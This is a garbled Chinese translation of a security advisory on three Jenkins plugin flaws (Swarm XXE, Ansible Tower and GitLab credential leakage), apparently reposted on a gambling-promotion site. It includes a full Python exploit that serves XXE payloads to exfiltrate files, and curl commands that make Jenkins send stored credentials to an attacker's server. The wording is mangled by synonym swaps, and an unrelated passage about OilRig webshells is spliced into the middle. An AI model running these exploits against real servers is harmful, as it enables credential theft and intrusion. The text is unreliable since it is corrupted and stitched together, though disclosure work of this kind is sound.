致使数据库凭证泄漏:详细分析Jenkins Swarm、Ansible、GitLab插件信息泄漏破绽(CVE-2019-10309/10300/10310) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

致使数据库凭证泄漏:详细分析Jenkins Swarm、Ansible、GitLab插件信息泄漏破绽(CVE-2019-10309/10300/10310)

申博_新闻事件 申博 122次浏览 未收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

一、概述

Jenkins是一个用Java编写的开源自动化服务器。借助一些插件,能够将Jenkins与其他软件集成,比方GitLab。5月7日,Cisco Talos团队公然了个中三个插件的破绽,这三个插件分别是Swarm、Ansible和GitLab。这些插件中的破绽均属于信息泄漏范例,进击者借助这些破绽,能够诳骗上述插件,将Jenkins数据库中的凭据泄漏至进击者掌握的服务器。

依据我们的谐和破绽表露政策,Cisco Talos与Jenkins及相干公司举行了协作,以确保这些题目得以彻底解决,并为受影响的客户供应更新。

二、Jenkins Swarm插件XXE信息泄漏破绽(CVE-2019-10309)

在Jenkins自组织的Swarm模块插件3.14版本中,getCandidateFromDatagramResponses()要领存在一个简朴的XXE(XML外部实体)破绽。因为这一破绽的存在,与Swarm客户端在统一收集上的进击者能够借助经心组织的相应信息来相应UDP发明要求,从而实如今体系上读取恣意文件。

2.1 产物URL

https://github.com/jenkinsci/swarm-plugin

2.2 CVSS v3评分

6.1 – CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L

2.3 CWE

CWE-611  XML外部实体(XXE)援用未举行准确限定

2.4 破绽详细分析

该破绽能够许可衔接到布置Swarm署理收集中的非特权用户接见署理实例上的数据,而无需举行分外的身份验证。因为UDP播送发明事情机制中存在缺点,将致使运用此机制寻觅Jenkins Master的过程当中,会对署理找到的一切Master发作未经身份验证的当地文件读取。我们在基于Docker的情况中举行了测试,个中运转Swarm署理的一切署理都能够胜利完成该破绽的应用。

针对这一破绽,我们计算出CVSS v3评分为6.1。然则,该破绽现实的要挟水平很大水平上取决于布置体式格局,而且依据现实布置体式格局的分歧,这一评分有能够会明显下降。别的,因为Java XML解析器的性子,包罗某些字符的文件没法胜利反射到FTP或HTTP URI中,因而也就没法胜利完成信息泄漏。

2.5 破绽应用观点证实

Dockerfile

FROM ubuntu:latest
 
# Update repository metadata and install a JVM.
RUN apt update && \
    apt install -y openjdk-8-jre-headless tcpdump curl && \
    apt install -y python3 python3-pip tmux && \
    pip3 install pyftpdlib
 
# Grab the latest Swarm Client.
RUN curl -D - -o /var/tmp/swarm-client.jar \
    https://repo.jenkins-ci.org/releases/org/jenkins-ci/plugins/swarm-client/3.14/swarm-client-3.14.jar
 
# Copy our exploit code to the container.
COPY exploit.py /root/exploit.py
 
# Give 'er.
ENTRYPOINT java -jar /var/tmp/swarm-client.jar

exploit.py

''' Jenkins Swarm-Plugin XXE PoC (via @Darkarnium). '''
 
import os
import sys
import socket
import uuid
import logging
import http.server
import socketserver
import multiprocessing
 
 
def find_ip():
    ''' Find the IP of the 'primary' network interface. '''
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.connect(('8.8.8.8', 80))
    addr = sock.getsockname()[0]
    sock.close()
    return addr
 
 
class RequestHandler(http.server.BaseHTTPRequestHandler):
    ''' Provides a set of request handlers for our Fake jenkins server. '''
 
    def __init__(self, request, client_address, server):
        ''' Bot on a logger. '''
        self.logger = logging.getLogger(__name__)
        super().__init__(request, client_address, server)
 
    def version_string(self):
        ''' Override version string / Server header. '''
        return 'TotallyJenkins'
 
    def log_message(self, fmt, *args):
        ''' Where we're going, we don't need logs. '''
        pass
 
    def log_error(self, fmt, *args):
        ''' Where we're going, we don't need logs. '''
        pass
 
    def log_request(self, code='-', size='-'):
        ''' Where we're going, we don't need logs. '''
        self.logger.debug(
            'Received %s request for %s from %s',
            self.command,
            self.path,
            self.client_address
        )
 
    def build_stage_two(self):
        ''' Builds a second stage XXE payload - for exfil. '''
        payload = '''
            <!ENTITY % local1 SYSTEM "file:///etc/debian_version">
            <!ENTITY % remote1 "<!ENTITY exfil1 SYSTEM 'http://{0}:{1}/exfil?/etc/debian_version=%local1;'>">
            <!ENTITY % local2 SYSTEM "file:///etc/hostname">
            <!ENTITY % remote2 "<!ENTITY exfil2 SYSTEM 'http://{0}:{1}/exfil?/etc/hostname=%local2;'>">
        '''.format(find_ip(), '8080')
        return payload.encode()
 
    def do_GET(self):
        ''' Implements routing for HTTP GET requests. '''
        self.logger.debug('Processing GET on route "%s"', self.path)
 
        # Provide an exfiltration endpoint.
        if '/exfil' in self.path:
            self.logger.warn('Exfiltrated %s -> "%s"', *self.path.split('?')[1].split('='))
            self.send_response(200, 'OK')
            self.send_header('X-Hudson', '1.395')
            self.send_header('Content-Length', '2')
            self.end_headers()
            self.wfile.write(b'OK')
 
        # Serve the payload DTD.
        if self.path.endswith('.dtd'):
            stage_two = self.build_stage_two()
            self.send_response(200, 'OK')
            self.send_header('Content-Type', 'application/x-java-jnlp-file')
            self.send_header('Content-Length', len(stage_two))
            self.end_headers()
            self.wfile.write(stage_two)
 
        # Ensure the X-Hudson check in Swarm plugin passes.
        if self.path == '/':
            self.send_response(200, 'OK')
            self.send_header('X-Hudson', '1.395')
            self.send_header('Content-Length', '2')
            self.end_headers()
            self.wfile.write(b'OK')
 
    def do_PUT(self):
        ''' Mock HTTP PUT requests. '''
        self.send_response(500)
 
    def do_POST(self):
        ''' Mock HTTP POST requests. '''
        self.logger.debug('Processing POST on route "%s"', self.path)
 
        # Respond with an OK to keep the exchange going.
        if self.path.startswith('/plugin/swarm/createSlave'):
            self.send_response(200, 'OK')
            self.send_header('Content-Length', '0')
            self.end_headers()
 
    def do_HEAD(self):
        ''' Mock HTTP HEAD requests. '''
        self.send_response(500)
 
    def do_PATCH(self):
        ''' Mock HTTP PATCH requests. '''
        self.send_response(500)
 
    def do_OPTIONS(self):
        ''' Mock HTTP HEAD requests. '''
        self.send_response(500)
 
class HTTPServer(multiprocessing.Process):
    ''' Provides a Fake Jenkins server to signal the Swarm. '''
 
    def __init__(self, port=8080):
        ''' Bolt on a logger. '''
        super().__init__()
        self.port = port
        self.logger = logging.getLogger(__name__)
 
    def run(self):
        ''' Do the thing. '''
        self.logger.info('Starting HTTP listener on TCP %s', self.port)
 
        # Kick off the server.
        instance = http.server.HTTPServer(
            ('0.0.0.0', self.port),
            RequestHandler
        )
        instance.serve_forever()
 
 
class Spwner(multiprocessing.Process):
    ''' Provides a Spawn broadcast listener and responder. '''
 
    def __init__(self, port=33848):
        ''' Setup a socket and bolt on a logger. '''
        super().__init__()
        self.port = port
        self.logger = logging.getLogger(__name__)
        self.logger.info('Binding broadcast listener to UDP %s', port)
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.bind(('255.255.255.255', self.port))
        self.swarm = str(uuid.uuid4())
 
    def build_swarm_xml(self):
        ''' Builds a baked Swarm payload. '''
        # This is dirty.
        payload = '''<?xml version="1.0" encoding="ISO-8859-1"?>
            <!DOCTYPE swarm [
                <!ENTITY % stageTwo SYSTEM "http://{0}:{1}/stageTwo.dtd">
                %stageTwo;
                %remote1;
                %remote2;
            ]>
            <root>
                <swarm>&exfil1;</swarm>
                <version>&exfil2;</version>
                <url>http://{0}:{1}/</url>
            </root>
        '''.format(find_ip(), '8080')
        return payload.encode()
 
    def respond(self, client):
        ''' Send a payload to the given client. '''
        addr, port = client
        self.logger.info('Sending payload to %s:%s', addr, port)
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.sendto(self.build_swarm_xml(), (addr, port))
        self.logger.info('Payload sent!')
 
    def listen(self):
        ''' Listen for clients. '''
        while True:
            _, client = self.sock.recvfrom(1024)
            self.logger.info('Received a Swarm broadcast from %s', client)
            self.respond(client)
 
    def run(self):
        ''' Do the thing. '''
        self.listen()
 
 
def main():
    ''' Jenkins Swarm-Plugin RCE PoC. '''
    # Configure the logger.
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(process)d - [%(levelname)s] %(message)s',
    )
    log = logging.getLogger(__name__)
    # log.setLevel(logging.DEBUG)
 
    # Spawn a fake Jenkins HTTP server.
    log.info('Spawning fake Jenkins HTTP Server')
    httpd = HTTPServer()
    httpd.start()
 
    # Spawn a broadcast listener.
    log.info('Spawning a Swarm broadcast listener')
    listener = Spwner()
    listener.start()
 
 
if __name__ == '__main__':
    main()

2.6 减缓计划

在厂商宣布修复后版本之前,发起用户禁用UDP播送功用。要禁用这一功用,能够经由过程在命令行参数中,指定要衔接的Jenkins主服务器来完成。

2.7 时候节点

· 2018年12月5日 向厂商申报该破绽

· 2019年4月30日  厂商宣布补钉

· 2019年5月6日  公然表露破绽信息

2.8 贡献者

该破绽由Cisco Umbrella的Peter Adkins发明。

三、Jenkins Ansible Tower插件信息泄漏破绽(CVE-2019-10300)

在Jenkins Ansible Tower插件0.9.1版本中,testTowerConnection函数存在一个能够被应用的信息泄漏破绽。进击者以具有“全局可读”(Overall/Read)权限的用户(比方匿名用户,若是已启用)登录,经心组织一个HTTP要求并发送,能够会致使该插件将Jenkins凭据数据库中的凭据信息泄漏到进击者掌握的服务器上。因为此破绽能够经由过程HTTP GET要求来应用,因而也能够经由过程跨站要求捏造(CSRF)来应用此破绽。除上述内容外,若是相应服务器未返回花样准确的JSON文档,则该相应将作为申报毛病的一部分反馈给用户,从而致使仅能经由过程HTTP GET体式格局完成服务器端要求捏造(SSRF)破绽应用。

该破绽也存在于该插件的fillTowerCredentialsIdItems函数中,该函数许可遍历该进击所需的凭据标识符。

3.1 产物URL

https://github.com/jenkinsci/ansible-tower-plugin

https://plugins.jenkins.io/ansible-tower

3.2 CVSS v3评分

7.7 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

3.3 CWE

CWE-285  不适当的受权

3.4 破绽详细分析

Ansible是一个开源软件,许可用户设置装备摆设和布置种种应用程序。Ansible Tower插件旨在优化Ansible的运用,使该软件更适用于各种IT团队。因为缺乏对Jenkins的权限搜检,由org.jenkinsci.plugins.ansible_tower.util.TowerInstallation的doTestTowerConnection要领袒露的testTowerConnection存在该破绽。在doFillTowerCredentialsIdItems要领中也疏忽了权限搜检,从而致使进击者能够经由过程该要领罗列凭据,发生雷同的信息泄漏风险

一份来源未知的数据,揭秘了OilRig组织的全部信息(下)

Webshells Webshell用于与受感染服务器交互。泄露数据中包含了三个webshell,分别为HyperShell、HighShell和Minion,Minion很可能是HighShell的一个变体,在代码、文件名和功能上都有重叠。HyperShell和HighShell则是TwoFace的变体,其中HyperShell与TwoFace的加载器相关,HighShell与TwoFace的payload相关,这点我们在2017年7月也有记载。除了OilRig使用的Webshell外,泄露数据中还有一个Webshell部署列表。如图8所示,列出了超过100个Webshell的链接,覆盖了四大洲26个国家的87个组织。 图8.受影响组织的Webshell的地理位置 Hypershell HyperShell(SHA256:e483eee77fcc5ef11d5bf33a4179312753b62ec9a247dd14528cc797e7632d99)与的TwoFace加载器的3DES变体(我们也叫它TwoFace++)有关,我们曾在2017年7月报道过。 我们曾用强制技术来提取TwoFace加载器嵌入式payload,但同样的方法在TwoFace ++加载器上行不通。 TwoFace加载器样本需要密钥来解密嵌入的webshell,密钥是通过简单的算术运算符(大多是“+”或“ – ”)和webshell中的盐字符串进行修改的,所以使用简单的算术运算符就能解密,逆运算来强制提取密钥,进而提取嵌入式webshell。 而TwoFace ++加载器则使用3DES

因为此插件对长途Ansible Tower实例举行身份验证的体式格局存在题目,将致使与towerCredentialsId相干联的凭据,在经由Base64编码后,作为HTTP Authorization标头的一部分发送到进击者掌握的服务器,同时还会发送进击者指定地位的JSON文档明文。我们在运转此插件易受进击版本的情况中举行了设置装备摆设,下面是许可进击者接见Jenkins 2.165实例举行匿名读取的进击示例。

# List credentials on target Jenkins instance.
$ curl -s -X GET -G \
    -d 'pretty=true' \
    'http://127.0.0.1:8080/jenkins/descriptorByName/org.jenkinsci.plugins.ansible_tower.util.TowerInstallation/fillTowerCredentialsIdItems'
{
"_class" : "com.cloudbees.plugins.credentials.common.StandardListBoxModel",
"values" : [
    {
    "name" : "- none -",
    "selected" : false,
    "value" : ""
    },
    {
    "name" : "BBBBBB/****** (ExampleOnly)",
    "selected" : false,
    "value" : "01e367ef-54fb-4da0-8044-5112935037bb"
    },
    {
    "name" : "SecureUsername/****** (Credentials for X)",
    "selected" : false,
    "value" : "287fcbe2-177e-4108-ac58-efdc0a507376"
    },
    {
    "name" : "A Secret Text Entry",
    "selected" : false,
    "value" : "532ba431-e25d-4aad-bc74-fb5b2cc03bd7"
    }
]
}
 
# Send credentials to an attacker's server (http://127.0.0.1:7000?).
# The trailing '?' is to ensure that the expected path is appended as a
# query parameter, rather than part of the query path.
#
# Two requests are performed by Jenkins here. The first is a 'ping', which
# requires that the target respond with a well formed JSON response -
# though any JSON response will do. If this first request fails, the reply
# will be reflected to the client (SSRF). If it succeeds, a subsequent
# POST will be performed which contains the credentials.
#
$ curl -s -X GET -G \
    -d 'towerURL=http://127.0.0.1:7000/report.json?' \
    -d 'towerTrustCert=false' \
    -d 'enableDebugging=true' \
    -d 'towerCredentialsId=287fcbe2-177e-4108-ac58-efdc0a507376' \
    'http://127.0.0.1:8080/jenkins/descriptorByName/org.jenkinsci.plugins.ansible_tower.util.TowerInstallation/testTowerConnection'

存在破绽的插件以HTTP GET情势提交给长途服务器的要求,类似于以下内容:

# First request from Jenkins (GET)
/report.json?/api/v2/ping/
Host: 127.0.0.1:7000
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1-alpha1 (java 1.5)
 
# Second request from Jenkins (POST)
/report.json?/api/v2/authtoken/
Authorization: Basic U2VjdXJlVXNlcm5hbWU6U2VjdXJlUGFzc3dvcmRPaE5v
Content-Type: application/json
Content-Length: 61
Host: 127.0.0.1:7000
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1-alpha1 (java 1.5)
 
{"username":"SecureUsername","password":"SecurePasswordOhNo"}

3.5 减缓计划

在厂商宣布修复后版本之前,若是能够,应只管禁用该插件,或删除具有“全局/读取”(Overall/Read)权限的不必要用户,比方匿名接见。

3.6 时候节点

2019年3月12日 向厂商申报该破绽

2019年4月30日  厂商宣布补钉

2019年5月6日  公然表露破绽信息

3.7 贡献者

该破绽由Cisco Umbrella的Peter Adkins发明。

四、Jenkins GitLab插件信息泄漏破绽(CVE-2019-10310)

Jenkins GitLab插件1.5.11版本的testConnection函数中,存在能够被应用的信息泄漏破绽。进击者以具有“全局可读”(Overall/Read)权限的用户(比方匿名用户,若是已启用)登录,经心组织一个HTTP要求并发送,能够会致使该插件将Jenkins凭据数据库中的凭据信息泄漏到进击者掌握的服务器上。因为此破绽能够经由过程HTTP GET要求应用,因而也能够经由过程跨站要求捏造(CSRF)来完成此破绽的应用。

为了使这一进击胜利举行,进击者须要晓得要猎取的凭据的凭据ID。该凭据ID能够经由过程多种体式格局查找,比方公然的编译日记(读取)、接见Jenkins UI中的凭据管理器(读取),或许经由过程fileCredentialsIdItems款式中别的一个易受进击的插件来完成。

4.1 产物URL

https://plugins.jenkins.io/gitlab-plugin

https://github.com/jenkinsci/gitlab-plugin

4.2 CVSS v3评分

7.7 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

4.3 CWE

CWE-285  不适当的受权

4.4 破绽详细分析

因为缺乏对Jenkins的权限搜检,com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig的doTestConnection要领袒露的testConnection中存在这一破绽。

因为该插件针对长途GitLab实例举行身份验证的体式格局存在题目,与进击者指定的credentialsId相干联的凭据将作为HTTP PRIVATE-TOKEN标头的一部分,发送至进击者掌握的服务器。我们在运转此插件易受进击版本的情况中举行了设置装备摆设,下面是许可进击者接见Jenkins 2.165实例举行匿名读取的进击示例。

# Send credentials to an attacker's server (http://127.0.0.1:7000?).
# The trailing '?' is to ensure that the expected path is appended as a
# query parameter, rather than part of the query path.
$ curl -s -X GET -G \
    -d 'url=http://127.0.0.1:7000/?' \
    -d 'clientBuilderId=autodetect' \
    -d 'apiTokenId=532ba431-e25d-4aad-bc74-fb5b2cc03bd7' \
    'http://127.0.0.1:8080/jenkins/descriptorByName/com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig/testConnection'

插件以HTTP GET体式格局发送至长途服务器的要求,类似于下面内容。当上述clientBuilderdId字段设置为autodetect(自动检测)时,会有多个要求被发送至进击者指定的服务器。

# First request from Jenkins (GET).
/api/v4/user
Accept: application/json
PRIVATE-TOKEN: ASecretTextEntry
Host: 127.0.0.1:7000
Connection: Keep-Alive
 
# Second request from Jenkins (GET)
/api/v3/user
Accept: application/json
PRIVATE-TOKEN: ASecretTextEntry
Host: 127.0.0.1:7000
Connection: Keep-Alive

值得注重的是,因为进击者指定的服务器相应不符合预期的花样,因而插件将会发生毛病,而且不显现相应内容。

4.5 减缓计划

在厂商宣布修复后版本之前,若是能够,应只管禁用该插件,或删除具有“全局/读取”(Overall/Read)权限的不必要用户,比方匿名接见。

4.6 时候节点

· 2019年3月12日 向厂商申报该破绽

· 2019年4月30日  厂商宣布补钉

· 2019年5月6日  公然表露破绽信息

4.7 贡献者

该破绽由Cisco Umbrella的Peter Adkins发明。

五、测试情况

经由测试,我们确认Jenkins Ansible Tower插件的0.9.1版本遭到CVE-2019-10310的影响,Jenkins Artifactory插件的3.2.1和3.2.0版本遭到CVE-2019-5026的影响,Jenkins GitLab插件的1.5.11版本遭到CVE-2019-10300的影响,Swarm-Client的3.14版本遭到CVE-2019-10309的影响。

六、检测划定规矩

以下SNORT划定规矩将检测该破绽的应用实验。须要注重的是,能够会在将来某个日期宣布其他划定规矩,而且依据其他破绽信息的增补,以后划定规矩能够会发作变动。有关最新的划定规矩信息,能够参阅Firepower管理中心,或接见Snort.org。

Snort划定规矩:49362、49363、49370、49373。

七、增补申明

在Cisco Talos网站的原文中,分别将这三个破绽标注为CVE-2019-5022、CVE-2019-5025、CVE-2019-5027,而依据MITRE的官网,查询这三个破绽的现实编号分别为CVE-2019-10309、CVE-2019-10300和CVE-2019-10310。现在暂不清晰是原文有误,照样反复分配了CVE编号。本文在翻译时,均以MITRE的官方CVE编号为准。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明致使数据库凭证泄漏:详细分析Jenkins Swarm、Ansible、GitLab插件信息泄漏破绽(CVE-2019-10309/10300/10310)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址